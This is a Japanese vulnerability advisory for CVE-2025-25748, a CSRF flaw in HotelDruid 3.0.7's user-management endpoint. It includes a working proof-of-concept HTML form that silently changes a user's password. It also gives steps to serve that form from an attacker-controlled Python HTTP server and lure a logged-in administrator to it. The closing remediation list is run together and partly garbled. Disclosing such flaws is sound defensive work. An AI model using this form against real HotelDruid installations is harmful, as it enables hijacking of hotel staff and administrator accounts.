
HotelDruid 3.0.7 におけるクロスサイトリクエストフォージェリ (CSRF) 脆弱性 (CVE-2025-25748)
HotelDruid 3.0.7 の gestione_utenti.php エンドポイントにおけるクロスサイトリクエストフォージェリ (CSRF) 脆弱性により、攻撃者はオリジンまたはリファラの検証の欠如とCSRFトークンの不在を悪用して、認証されたユーザーに代わって不正な操作(例:ユーザーパスワードの変更)を実行できます。
この脆弱性は、管理者アカウントを含むすべてのユーザーアカウントを、ユーザーの同意なしに不正な変更にさらします。
以下の悪意のあるフォームは、攻撃者がログイン済みの管理者にユーザーID 2のパスワードを maliciouspassword に変更させる方法を示しています。
<form method="POST" action="http://localhost/hoteldruid/gestione_utenti.php"> <input type="hidden" name="anno" value="2025"> <input type="hidden" name="id_sessione" value="20250118062407or6tODG42f79QvMA2429"> <input type="hidden" name="modifica_pass" value="SI"> <input type="hidden" name="id_utente_pass" value="2"> <input type="hidden" name="prima_pass" value="maliciouspassword"> <input type="hidden" name="seconda_pass" value="maliciouspassword"> <button type="submit">Submit</button></form>
上記のコードを csrf_attack.html として保存します。
Pythonを使用して(攻撃者が管理するサーバーで)提供します:
python3 -m http.server 8080
被害者を次のURLに誘導します:
http://<attacker-ip>:8080/csrf_attack.html
送信されると、フォームはHotelDruidにリクエストを送信し、被害者のアクティブセッションを使用してユーザーID 2のパスワードを maliciouspassword に変更します。
HotelDruidは、ホテルやバケーションレンタル向けに広く使用されているオープンソースの物件管理システムです。ユーザー管理のための管理者制御を備えたマルチユーザーシステムであるため、承認されたユーザーのみがアカウント認証情報を変更できるようにすることは、システム全体のセキュリティにとって重要です。
CSRF脆弱性は、サーバーがユーザーのブラウザセッションに置く信頼を悪用します。被害者がログインして悪意のあるページにアクセスすると、そのページは被害者のアクティブセッションを使用して、脆弱なアプリケーションに不正なリクエストを静かに送信できます。HotelDruidでは、パスワード変更などの重要なアクションに対するCSRF防御の欠如により、攻撃者は悪意のあるリンクにアクセスする以外のユーザーの操作なしにアカウントを完全に侵害できます。
gestione_utenti.phpmodifica_passid_utente_passprima_passseconda_passOrigin または Referer ヘッダーの検証は行われません。gestione_utenti.php をターゲットとした、事前に入力された隠しフィールドを持つ悪意のあるHTMLフォームを準備します。Referer および Origin ヘッダーを検証して、リクエストが信頼できるオリジンから送信されていることを確認します。id_sessione など)を渡さないようにします。